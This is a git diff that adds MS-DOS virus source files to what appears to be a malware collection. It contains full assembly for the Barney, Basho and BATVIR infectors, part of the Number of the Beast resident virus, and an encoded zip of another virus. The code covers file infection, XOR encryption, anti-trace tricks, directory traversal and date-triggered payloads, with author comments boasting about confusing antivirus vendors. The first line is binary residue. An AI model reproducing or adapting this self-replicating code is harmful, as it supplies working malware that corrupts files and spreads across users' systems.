zVwd3JP2?_Lf7GNh^4DAf_y)QbJ4YogNfs4joW(m3et5P$ZOOL3S<4@^xa1vCyYs;A zEU#8fFD)OgJbbirb+mGIcjfARZ}l +To: pobox.jwu.edu!joshuaw +Subject: (fwd) Barney virus +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!newsxfer.itd.umich.edu!agate!howland.reston.ans.net!news.sprintlink.net!uunet!ankh.iia.org!danishm +From: danishm@iia.org () +Newsgroups: alt.comp.virus +Subject: Barney virus +Date: 5 Feb 1995 22:06:47 GMT +Organization: International Internet Association. +Lines: 291 +Message-ID: <3h3i5n$v4@ankh.iia.org> +NNTP-Posting-Host: iia.org +X-Newsreader: TIN [version 1.2 PL2] + +Here is the Barney virus: + + +; Barney virus +PING equ 0F92Fh +INFECT equ 1 + +code segment + org 100h + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + + mov dx,VIRUS_SIZE / 2 + 1 + db 0BBh ; decryption module +code_offset dw offset virus_code + +decrypt: + db 02Eh,081h,37h ; XOR CS:[BX] +cipher dw 0 + inc bx + inc bx + dec dx + jnz decrypt + + +virus_code: + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + push ds es + + cli + mov ax,PING ; mild anti-trace code + push ax + pop ax + dec sp + dec sp + pop bx + cmp ax,bx + je no_trace + hlt + +no_trace: + sti + in al,21h ; lock out & reopen keyboard + xor al,2 + out 21h,al + xor al,2 + out 21h,al + + lea dx,[bp + offset new_DTA] + mov ah,1Ah + int 21h + + mov byte ptr [bp + infections],0 + + call traverse + + pop es ds + mov dx,80h + mov ah,1Ah + int 21h + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + + +traverse: + sub sp,64 ; allocate stack space + mov si,sp + inc si + mov ah,47h ; get current directory + xor dl,dl + int 21h + + dec si + mov byte ptr ss:[si],'\' ; fix directory + +next_dir: + call infect_dir + + cmp byte ptr [bp + infections],INFECT + je traverse_done + + lea dx,[bp + outer] ; repeat in next dir up + mov ah,3Bh + int 21h + jnc next_dir + +traverse_done: + add sp,64 ; reset + mov dx,si + mov ah,3Bh + int 21h + ret + +infect_dir: + mov ah,4Eh + lea dx,[bp + find_me] + int 21h + jc infect_done + +next_file: + lea dx,[bp + new_DTA + 1Eh] + call execute + cmp byte ptr [bp + infections],INFECT + je infect_done + mov ah,4Fh + int 21h + jnc next_file + +infect_done: + ret +execute: + push si + + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + lea ax,[bp + int_24] + mov es:[24h * 4],ax + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + int 21h + jc cant_open + xchg bx,ax + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + lea dx,[bp + read_buffer] + int 21h + + cmp word ptr [bp + read_buffer],'ZM' + je dont_infect ; .EXE, skip + + mov al,2 ; move to end of file + call move_file_ptr + + cmp dx,65279 - (VIRUS_SIZE + 3) + ja dont_infect ; too big, don't infect + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr [bp + read_buffer + 1] + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr [bp + new_jump + 1],dx + + add dx,103h + call encrypt_code ; encrypt virus + + lea dx,[bp + read_buffer] ; save original program head + int 21h + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + lea dx,[bp + encrypt_buffer] + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + lea dx,[bp + new_jump] + int 21h + +fix_date_time: + pop dx cx + mov ax,5701h ; restore file date/time + int 21h + + inc byte ptr [bp + infections] + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop si + ret + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret + +courtesy_of db '[BW]',0 +signature db 'BARNEY (c) by HypoDermic!! Part of the Mayberry Family!!!',0 + + +encrypt_code: + push ax cx + + push dx + xor ah,ah ; get time for random number + int 1Ah + + mov [bp + cipher],dx + pop cx + add cx,virus_code - virus_begin + mov [bp + code_offset],cx + push cs ; ES = CS + pop es + + lea si,[bp + virus_begin] + lea di,[bp + offset encrypt_buffer] + mov cx,virus_code - virus_begin + rep movsb + + mov cx,VIRUS_SIZE / 2 + 1 +encrypt: + lodsw ; encrypt virus code + xor ax,dx + stosw + loop encrypt + + pop cx ax + ret + + +find_me db '*.COM',0 +outer db '..',0 + +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +infections db 0 +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +new_DTA db 128 dup(?) +encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/MSDOS/Virus.MSDOS.Unknown.basho.asm b/MSDOS/Virus.MSDOS.Unknown.basho.asm new file mode 100644 index 00000000..e011fb9d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.basho.asm @@ -0,0 +1,331 @@ +; NAME: Basho.com +; SIZE: 431 bytes +; AUTHOR: Sea4 +; TYPE: Appending in a weird way. +; ENCRYPTION: No +; DT: Yes +; STEALTH: No +; REPAIRABLE: Yes +; PAYLOAD: Yes +; RESIDENT: No +; ROI: 4 files per run +; POLYMORPHIC: No + +; Explanation. +; Its not very easy to understand at first glance how it even possibly works. +; But the plain and simple fact is that it DOES work, and it works well. I +; thought of the concept right before I went to sleep the other night, maybe +; I was having hallucinations or something. I am not even sure if its an +; original idea. But I like it! + +; WTF it does: +; Upon execution the JMP at the beginning of the infected file will jump to +; what I call the virus' launching pad. Its does a few menial tasks like +; saving/restoring program code and the DTA. It also launches the true virus. +; The true virus is stored where actual program code used to be, I call that +; area of program code P3. +; P1 = Is the area the infecting JMP is stored. +; P2 = Is the middle of infected program. +; P3 = The last bytes of program that have been moved to +; make room for Basho. +; V1 = Main Body of BASHO +; V2 = Launching Pad +; Upon execution of the true virus code, files will be infected, and the bomb +; will be tested, etc. etc. Afterward the True Virus Code will RET back to +; the launchpad, and the P3 area will be restored as well as the DTA, and +; the host file will be run 100% without error. ( or at least I think so ). + +; Why the hell I did it: +; Just to confuse everyone, including the AV companies and myself. + +; -- Sea4 of the CodeBreakers + +;*************************************************************** +; A little Map +;============== ============== +;| | |____________| <-- Jmp To Launching +;| | | | Pad ( P1 ) +;| | | Program | +;| UnInfected | | bytes that | +;| Host | | are not | +;| | | affected. | +;| | | ( P2 ) | +;| | | | +;| | | | +;| | | | +;| | |____________| +;| | | | +;| | File Length | Main body | +;| | Before Infect.| of BASHO. | +;| | | | ( V1 ) | +;| | | | * | <-- Ret to Launch Pad +;============== <<- - - ->> ============== +; | Bytes moved| +; Additional Area |to make room| +; Now that file has been |for BASHO. | +; infected with BASHO | ( P3 ) | +; |____________| +; |Launch Pad | +; P3 and the main body | ( V2 ) | +; of BASHO have the same ============== <-- New file length +; length. +; +;*************************************************************** + +start: +jmp StartV2 + +startV1: ; Actual Virus code +V1Length EQU endV1-startV1 + +mov [bp+victims],cl ; Starts at 0 for victem count + +mov ah,47h ; Function 47h: Get Current Directory +cwd ; 00h in DL = Default Drive +lea si,[bp+Cur_DIR] ; 64 byte buffer for pathname +int 21h ; Calls DOS to write current DIR to CurDIR + +Dot_Dot: +jmp short infectDIR +Next_Dir: +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+Dot_mask] ; Saved starting directory +int 21h ; Calls DOS or Dir Change +jnc Dot_Dot + +jmp Badstuff ; All directories have been killed, lets go + +InfectDIR: +; Here is our find file thingy +mov ah,4Eh ; Find files +mov cx,7 ; Looking for all file types +lea dx,[bp+com_mask] ; Points to the *.com +FindNext: +int 21h ; Find all the com files + +jnc Open ; Success +jmp Next_DIR ; None left in this directory, lets move + +Move_FP: ; Move file Pointer call +mov ax,4200h +Here: +xor cx,cx +int 21h +ret + +Open: +; Set attrib to 0, so we can write over read only files and such +mov ax,4301h ; Set attrib to 0 +lea dx,[bp+File_name] +Call Here + +; Opens file for read/write access +mov ax,3D02h ; Open File +int 21h + +xchg bx,ax ; Gives the file handle from AX to BX in one byte. + +mov ah,3Fh ; Read first three bytes +mov cl,3 ; 3 bytes, CX holds number of bytes to read +lea dx,[bp+saved] ; Buffer for saved bytes :) +int 21h ; Tells DOS to read 'em + +; Check infection criteria +; If file is too large it may crash, and too small is easily noticable +xor cx,cx ; See if file is larger than 1 segment +cmp cx,[bp+File_size_off] ; 9Ch holds the segment size, Basho doesn't handle + ; files larger than one segment, so we can't + ; infect something larger than FFFFh bytes +jnz Close ; Its more than 1 segment lets escape + +mov ax,[bp+File_size] ; Retrieves offset size of target file + +; File must be greater than 1k +; Keeping smaller files from being infected +cmp ax,400h ; 400h = 1024 bytes ( 1k ) +jc Close ; Its too small, get the hell outta here + +; File must be less than 61440 +; Stack errors and wrapping of bytes may occur if the +; file + virus + buffer excedes 1 segment ( FFFFh bytes ) +cmp ax,0F000h ; 61440, to provide room for buffer and virus size +jnc Close ; To big, may cause errors, can't do it + +push ax ; Saves file size for later +sub ax,3 ; Taking into account the JMP +push ax ; Save that for the new 3 bytes + +; Test 2nd + 3rd bytes for JMP location to V2 ( LaunchPad ) +; Here we check for previous infection by testing if the jump looks +; like one created by a previous running of Basho. +sub ax,V2Length ; We need the new jump to go to the launch pad +cmp ax,[bp+saved+1] ; Tests if the file has been infected with Basho +jz Close + +pop ax ; Retrieves jump location +add ax,V1Length ; Adds the length added by virus +mov [bp+jumpto],ax ; Sets jump location for victim + +; Set FP to beginning +xor dx,dx +call Move_FP + +; Write new JMP to victim +mov cl,3 ; Length of area to write ( 3 bytes ) +lea dx,[bp+jumping] ; its the location of the new JMP +mov ah,40h +int 21h + +; Move FP to get bytes from End of victim +; Since DX specifies the location in bytes from beginning we want +; to move the FP, and since we want to move to End of File-V1Length +; We take the entire filesize-V1Length, and move that far from +; the beginning of file. +pop dx ; Retrieves filesize +sub dx,V1Length ; Places location in file at End-V1Length +push dx ; Saves this spot for the write +call Move_FP + +; Here is where we retrieve the P3 file bytes and save them for later +mov ah,3Fh ; Function 3Fh: Read from file/device +mov cx,V1Length ; Number of bytes to read +lea dx,[bp+startP3] ; Actual area for file bytes +int 21h ; Duh, it read those bytes into the P3 area + +; Now we write the virus code into that area we just made +pop dx ; Retrieves location by previous Move FP +call Move_FP + +mov cx,endV2-startV1 ; Now we can just write all that area to +lea dx,[bp+startV1] ; The victem because we have prepared so well :) +mov ah,40h +int 21h + +inc Byte Ptr [bp+victims] ; Increments our Byte counter + +Close: +mov ax,5701h ; Set Date/Time stamps +mov dx,[bp+File_Date] +mov cx,[bp+File_Time] +int 21h + +; Close File +mov ah,3Eh ; Function 3Eh: Close file +int 21h ; Shut that mo fo down + +mov ah,43h ; Reset attributes +lea dx,[bp+File_Name] +xor cx,cx +mov cl,[bp+Attributes] +int 21h + +mov ch,04h ; Only four files per run +cmp [bp+victims],ch ; Sees if we have had that many so far +jnc BadStuff ; If so, run the bomb sequence + +mov ax,4F00h ; Jump to FindNext routines +jmp FindNext + + +BadStuff: ; Payload +; Before starting the bomb, we head to original DIR + +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+Cur_DIR]; Saved starting directory +int 21h + +; Activation checker +mov ah,04h ; Function 04h: Get Real Time Clock ( Date ) +int 1Ah ; INT 1Ah BIOS Time interrupt + ; Gets the date and puts the value into the following + ; registers. + ; CH = Century + ; CL = Year + ; DH = Month + ; DL = Day + +cmp dx,0701h ; July 7th, I like this day. +jnz Exit ; Its not the date, we'll try another time + +; Just displays a simple message +mov ah,09h ; Function 09h: Write string to std output +lea dx,[bp+message] ; Where the message is stored +int 21h ; Announce our presence + +Exit: +mov sp,0FFFCh ; Restores the stack pointer to where the RET should go to +ret ; I did this to make sure it would go back to the right spot + ; Then return to caller. + +virus_name db '[Basho]',0 ; Named after the poet +author db 'Sea4, CodeBreakers',0 ; Me and who I work for +com_mask db '*.com',0 ; Com file mask +dot_mask db '..',0 ; Dot dot dir mask +saved db 0CDh,20h,00h ; Saved 3 bytes from infected files +jumping db 0E9h ; JMP +jumpto db 0,0 ; Jump to launch pad +message db 'The temple bell stops,',0Dh,0Ah ; A lovely Haiku + db 'But the sound keeps coming',0Dh,0Ah + db 'Out of the flowers.',0Dh,0Ah,'$' + +endV1: + + +startP3: ; Program code that has been moved to accomodate our virus +db V1Length dup (90h) + +endP3: + + +startV2: ; Virus's little launching pad. +V2Length EQU endV2-startv2 + +; Pretty cut and dry delta offset thing +call Delta ; Gets delta offsets +Delta: +pop bp ; Retrieve Locale for BP +sub bp,offset Delta ; Subtracts that by the original to obtain + ; the location moved down in memory + +mov ah,1Ah ; Set new DTA, this is a first for me +lea dx,[bp+New_Dta] +int 21h + +; Rewrite first three bytes +lea si,[bp+saved] ; Where we saved em +mov di,100h ; Start of Program, ( i.e. where they go ) +movsb +movsw + +lea di,[bp+BufferP3] ; This block moves P3 code into the buffer so the +lea si,[bp+StartP3] ; when the virus runs, it doesn't get overwritten +mov cx,V1Length ; Length of that area +rep movsb ; Move it out!! + +call StartV1 ; Normal Virus Code + +lea si,[bp+BufferP3] ; Loads start of moved program code into SI +lea di,[bp+startV1] ; Virus location into DI +mov cx,V1length ; Virus code length +rep movsb ; Restores bytes + +; Restores the saved DTA +mov ah,1Ah ; Set original DTA +mov dx,80h +int 21h + +push 100h ; We are gonna run the host program now +ret ; Go for it + +endV2: +Buffer: +New_Dta db 21 dup (90h) ; DTA!! +Attributes db 00h +File_time dw 00h +File_date dw 00h +File_size dw 00h +File_size_off dw 00h +File_name db 13 dup (0) +victims db 0h ; Victim count +Cur_DIR db 64 dup (0) ; Location of current DIR +BufferP3: diff --git a/MSDOS/Virus.MSDOS.Unknown.batch.asm b/MSDOS/Virus.MSDOS.Unknown.batch.asm new file mode 100644 index 00000000..4c201452 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.batch.asm @@ -0,0 +1,237 @@ +; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism] +; +; This virus is a bit cheesy, but hell.... Believe it or not, I got bored +;enough to write a direct action .BAT infector in assembly. It infects files +;by basically creating a debug script of itself, echoing it out to a file, +;then running it using debug to infect more files. I doubt anyone has +;done this in quite this manner, so.... +; +; +; +;enjoy, +;Stormbringer [P/S] + + +.model tiny +.radix 16 +.code + org 100 +start: + mov ah,4e + mov dx,offset filemask + +FindFile: + int 21 + jc NoMoreFiles + + mov dx,9e + mov ax,3d02 + int 21 + jc DoneInfect + xchg bx,ax + + mov ax,5700 + int 21 + push cx dx + + cmp dh,80 + jae AlreadyInfected + + + mov ax,4202 + xor cx,cx + xor dx,dx + int 21 + + mov si,100 + mov di,offset end_virus + mov cx,end_virus-start + push bx + call Convert2Hex + pop bx + + call InfectBat + + + pop dx + add dh,0c8 ;Add 100 years to filedate + push dx + +AlreadyInfected: + pop dx cx + mov ax,5701 + int 21 + + mov ah,3e + int 21 + +DoneInfect: + mov ah,4f + jmp FindFile + +NoMoreFiles: + mov ax,4c00 + int 21 + + +Convert2Hex: + push cx + lodsb + mov bx,ax + mov cx,4 + shr al,cl + push ax + call convert2asc + stosb + pop ax + shl al,cl + sub bl,al + xchg al,bl + call convert2asc + stosb + mov ax,' ' + stosb + pop cx + loop Convert2hex + stosb + stosb + ret + +convert2asc: + cmp al,0a + jae letter + add al,'0' + ret +letter: + add al,'A'-0a + ret + +InfectBat: + mov ah,40 + mov dx,offset startinf + mov cx,endsinf-startinf ;Write start of infection + int 21 + mov dx,offset end_virus + + DataLoop: + push dx + call calcloc + call writeecho1 + pop dx + push dx + + mov cx,di + sub cx,dx + cmp cx,60d + jb WriteData + mov cx,60d +WriteData: + mov ah,40 + int 21 + + push ax + call WriteRedirect + pop ax + + pop dx + add dx,ax + cmp dx,di + jae WriteGoExitCommands + jmp DataLoop + + +WriteGoExitCommands: + call writeecho2 + + mov ah,40 + mov dx,offset govirus + mov cx,1 + int 21 + + call WriteRedirect + call writeecho2 + + mov ah,40 + mov dx,offset govirus+1 + mov cx,1 + int 21 + + call WriteRedirect + + mov dx,offset batchender + mov cx,endbatend-batchender + mov ah,40 + int 21 + + ret + +WriteRedirect: + mov dx,offset echodest + mov cx,endvirusfile-echodest + mov ah,40 + int 21 + ret + +WriteEcho1: + mov cx,enddb-databyte + jmp short WriteEcho +WriteEcho2: + mov cx,5 +WriteEcho: + mov dx,offset databyte + mov ah,40 + int 21 + ret + + +calcloc: + push ax bx cx dx si di + sub dx,offset end_virus + mov ax,dx + mov cx,3 + xor dx,dx + div cx + mov dx,ax + add dx,100 + mov di,offset temp + mov si,offset location + xchg dh,dl + mov location,dx + mov cx,2 + call Convert2Hex + mov di,offset buffer1 + mov si,offset temp + movsw + lodsb + movsw + pop di si dx cx bx ax + ret + + +Filemask db '*.bat',0 + +govirus db 'gq' +endgovirus: + +databyte db 'echo e' +buffer1 db '0100 ' +enddb: + +echodest db ' >>' +VirusFile db 'batvir.94',0dh,0a +EndVirusFile: + +Batchender db 'debug>' +VirusFile db 'batvir.94',0dh,0a +EndVirusFile: + +Batchender db 'debug and Remember Don't Forget to Call <──────────────── +; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <────────── +; ───────────────────────────────────────────────────────────────────────── + diff --git a/MSDOS/Virus.MSDOS.Unknown.bbs-1258.zip b/MSDOS/Virus.MSDOS.Unknown.bbs-1258.zip new file mode 100644 index 0000000000000000000000000000000000000000..6e5f69c695d6aa35bbbafd128095b9a132a24bc6 GIT binary patch literal 5313 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 E3k5tYW&i*H literal 0 HcmV?d00001 diff --git a/MSDOS/Virus.MSDOS.Unknown.beast-b.asm b/MSDOS/Virus.MSDOS.Unknown.beast-b.asm new file mode 100644 index 00000000..a6b69292 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.beast-b.asm @@ -0,0 +1,337 @@ +;******************************************************************************* +;* * +;* THE NUMBER OF THE BEAST VIRUS * +;* * +;* This is NOT a original virus, but a modification. Main difference * +;* between original virus is, that this release support ANY DOS version * +;* above 3.00 and below 4.00 (3.10, 3.20 and 3.30). * +;* * +;* Modification (C) were made by * +;* * +;* Kiril Stoimenov & Stephen Genchev * +;* * +;* Source was (C) commented by * +;* Waleri Todorov, CICTT, 07 Mar 1991 20:30 * +;* * +;* All Rights Reserved. * +;* * +;******************************************************************************* +;* * +;* We don't care about any damages caused by compiling and runnig * +;* of this program. Use it only at your responsible ! * +;* * +;* If you find any mistakes or inaccurates in this source or comments, * +;* please, let us know. Drop message for Waleri Todorov on Virus eXchange * +;* BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100 * +;* * +;* Waleri Todorov * +;* * +;******************************************************************************* + org 0 + + mov ah,30h ; Get DOS version + int 21h + xchg ah,al ; Swap major and minor digit + cmp ax,31Eh ; Is DOS==3.30 + mov si,7B4h ; Load offset of original int13 + jae newdos ; If 3.30+ -> Proceed + mov si,10A5h ; Load offset of original int13 + cmp al,10 ; Check for 3.10 + je newdos ; If so -> proceed + mov si,1EC9h ; Load offset of original int13 for other DOS's + newdos: mov ds,cx ; This may cause trouble, because CX + ; is NOT allways set to ZERO + mov di,0F8h ; ES:DI will point to PSP:00F8 - unused area + movsw ; Save oroginal int13 vector + movsw ; to unused area in PSP + mov si,84h ; DS:SI point to 0000:0084 - int21 vector + movsw ; Save current int21 vector + movsw ; to unused area in PSP + lds ax,dword ptr [si-4] ; Load DS:AX with current address of int21 + push es ; Save ES + push di ; Save DI + mov si,8 ; DS:SI point in current int21 handler; + mov ch,1 ; CX=100h - As I said CX is not allways set to 0 + repz cmpsw ; Check if virus v512 hold the int21 vector + push cs ; + pop ds ; Set DS to PSP + jz SkipInstall ; If virus is active -> SkipInstall + + mov ah,52h + int 21h ; Get DOS table of table address + push es ; Save segment of table + mov si,00F8h ; DS:SI point virus WITH data area in PSP + sub di,di ; This will be offset in DOS buffer + les ax,dword ptr es:[bx+12h] ; Load address of first + ; DOS buffer from table of tables + ; This is the reason why virus + ; will NOT work on DOS 4.X+ + + mov dx,es:[di+02] ; Load in DX segment of next DOS buffer + mov cx,0104h ; CX set to virus size (208h bytes) + repz movsw ; Move itself in DOS buffer + mov ds,cx ; Now CX is 0 so DS also become 0 + mov di,0016h ; This will be used for finding parent PSP + mov word ptr [di+06Eh],offset int21+8 ; Set new int21 offset + mov [di+70h],es ; Set new int21 segment + + pop ds ; Restore segment of table in DS + mov [bx+14h],dx ; Set pointer to first buffer point NEXT buffer in chain + + mov dx,cs ; DX is current PSP segment + mov ds,dx ; DS also + mov bx,[di-14h] ; Load LAST segment available + dec bh ; LastSegment-=0x0100 + mov es,bx ; ES point in transit COMMAND.COM area + cmp dx,[di] ; Compare current PSP with COMMAND's parent PSP + mov ds,[di] ; Load in DS segment of parent of COMMAND + mov dx,[di] ; Load in DX parent of parent of COMMAND + dec dx ; Decrement loaded segment + mov ds,dx ; Set DS to rezult + mov si,cx ; DS:SI point to XXXX:0000 -> Name of boot command + mov dx,di ; Save DI in DX + mov cl,28h ; Will move 80 bytes + repz movsw ; Do moving + mov ds,bx ; Set DS to transit COMMAND.COM segment + + jb RunProcess ; If current process is less than parent + ; then COMMAND strat in progress -> read original bytes + + int 20h ; Else stop. File will run from decond start + ; If this instruction will be replaced by + ; PUSH CS; POP DS file will run from first time + +SkipInstall: mov si,cx ; Set SI to 0 + mov ds,[si+02Ch] ; Load in DS segment of envirement +SearchAgain: lodsw ; Load word from envirement + dec si ; Decrement envirement pointer + test ax,ax ; Test for zero in AX + jnz SearchAgain ; If not zero -> SearchAgain + add si,3 ; Else SI+=3; Now DS:SI point to filename in env + mov dx,si ; DS:DX point to filename for open +RunProcess: mov ah,03Dh ; AH = 3D - Open file; Don't care about open mode + call CallDosGet ; Call int21 & get handle table address in 